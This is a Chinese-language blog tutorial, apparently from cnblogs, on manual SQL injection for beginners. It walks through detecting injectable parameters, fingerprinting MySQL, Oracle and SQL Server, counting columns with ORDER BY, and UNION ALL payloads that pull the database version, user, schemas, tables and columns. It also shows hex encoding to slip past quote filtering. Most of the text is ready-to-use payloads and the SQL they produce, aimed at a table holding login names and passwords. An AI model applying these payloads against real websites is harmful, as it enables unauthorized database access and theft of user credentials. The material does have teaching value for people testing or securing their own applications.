zoukankan      html  css  js  c++  java
  • 手工sql注入简单入门

    1、判断是否可以注入:
    数字型:
    1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点;如果报数据库比如mysql、oracle之类的错误,则是一个sql注入点。


    1.2 在参数后面加上 依次加上 and 1=1 和 and 1=2,如果加上 and 1=1 还能正常显示原来的数据,并且加上 and 1=2时,原来数据不显示或者报错时,则是一个sql注入点

    字符型:
    1.3 在参数后面加上 依次加上 ' and '1'='1 和 ' and '1'='2 ,如果加上 ' and '1'='1 还能正常显示原来的数据,并且加上 ' and '1'='2 时,原来数据不显示或者报错时,则是一个sql注入点
    备注:
    因为字符型参数时,代码会加入引号'',注入时要消耗掉这个引号

    搜索型:
    1.4 在搜索框内 依次填入 a%' and '%'=' 和 a%' and 't'=' ,如果加上 ' and '1'='1 还能正常显示原来的数据,并且加上 ' and '1'='2 时,原来数据不显示或者报错时,则是一个sql注入点
    备注:
    因为字符型参数时,代码会加入'%%',注入时要消耗掉这个引号

    伪静态:
    1.5 url带.html时,在.html前面加一个',根据页面报错判断,如果报400,肯定不是伪静态,如果报200或者500,则可能是伪静态,可以输入
    and 1=1 和 and 1=2,和数字型一样判断

     

    2、判断数据库类型方法:
    ①使用exists函数判断表是否存在,使用用法 and exists(select * from fq_user),如果存在则会返回数据,否则无数据返回
    SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS ( SELECT * FROM information_schema.INNODB_CMP) #1表示表的第一个字段(mysql数据库)
    ②根据数据库不同类型自带的系统数据库表,如以下类型数据库:
    mysql: 自带有information_schema数据库的表tables,在url插入AND EXISTS (SELECT * FROM information_schema.tables) #mysql 5 以上
    完整sql: SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)
    -----------------------------------------------------------
    oracle: 在url插入and exists(select * from dba_users)
    完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from dba_users )

    -----------------------------------------------------------
    sqlserver: 在url插入and exists(select * from sysobjects)
    完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from sysobjects )

    分析:如果原请求有返回数据,原sql:SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776,那么加上AND EXISTS (SELECT * FROM information_schema.INNODB_CMPtables),即SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)后仍有数据返回,说明是mysql数据库,否则不是mysql数据库


    3、判断数据库当前表有多少个字段:

    使用order by函数判断表是否有多少个字段,在url请求后面插入order by 5,表示猜测表有5个字段以上,如果表少于5个字段会报错,通过改变order by number 后面的数据number来验证表有多少个字段

    完整sql:SELECT * FROM fq_wealth_user cc ORDER BY 25 #表示猜测表fq_wealth_user有25个字段以上(含25)

    4、union all注入

    参数为数字型union all 注入方法:

    在url参数后面插入union all select 1,2,3,4 from dual如果是mysql或者sqlserver,则可以不用from dual(dual为虚拟表,可以随便填写数据库存在的表,如information_schema.tables),另外union all select 后面的字段数(1,2,3,4这些字段,可以随便写数字)必须与联合表(前面order by 确认的表字段数量一致)

    完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.id=1 union all select 1,2 from dual
    ----------------------------------------
    参数为字符型union all 注入方法:

    在url参数后面插入 ' union all select 1,2,3,4 from dual--%20如果是mysql或者sqlserver,则可以不用from dual(dual为虚拟表,可以随便填写数据库存在的表,如information_schema.tables),另外union all select 后面的字段数(1,2,3,4这些字段,可以随便写数字)必须与联合表(前面order by 确认的表字段数量一致)

    完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name= '13143683775 ' union all select 1,2 from dual --%20 '

    备注:
    1、--%20表示:--是为了注释后面的程序自带的引号’,%20表示空格

     


    ----------------------------------------------------------
    查询数据库的版本号、用户、当前数据库、所有数据库

    版本号:version()
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select user(),2 from dual

    数据库用户:user()
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select version(),2 from dual

    当前数据库:函数database()
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select database(),2 from dual

    所有数据库:information_schema.SCHEMATA 表中 SCHEMA_name字段为数据库实例
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select SCHEMA_name,2 from information_schema.SCHEMATA

    所有数据库表:information_schema.tables 表中 table_name
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select table_name,2 from information_schema.tables

    所有数据库字段:information_schema.columns 表中 column_name
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select column_name,2 from information_schema.columns

    所有数据库表的字段:information_schema.columns 表中 table_name、column_name
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,'|',column_name),2 from information_schema.columns
    备注:
    1、select concat(login_name,passwd) from tb_user_info 会把login_name,passwd两个字段连接成一个字段显示
    2、select concat(login_name,'|',passwd) from tb_user_info 会把login_name,passwd两个字段连接成一个字段,并中间用“|”隔开显示

    代码有引号屏蔽时,使用16进制规避引号:
    SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,0x7C,column_name),2 from information_schema.columns
    备注:
    1、mysql使用函数 select hex('|')查出|的16进制表示
    2、在select hex('|')查出的结果中前面加上0x表示十六进制的|,在sql中使用,如上面sql,select hex('|')查出|的十六进制结果是7C,| 的十六进制为加上0x后的0x7C

  • 相关阅读:
    【C语言】用"I love you!"打印心形
    android js与控件交互初探。
    android 调用webview控件,为逆向h5app做准备
    git命令
    kdevelp 导入makefile工程
    解决vmvare关闭过慢
    用python.twisted.logfile每天记录日志,并用不记录stdout中的内容
    关于bjam编译自己模块出错的问题
    俄罗斯黑客在美国监狱中获刑4年,到底是什么原因?
    美国的电信巨头T-Mobile今天披露了另一起数据遭黑客泄露事件
  • 原文地址:https://www.cnblogs.com/whitemouseV2-0/p/9925651.html
Copyright © 2011-2022 走看看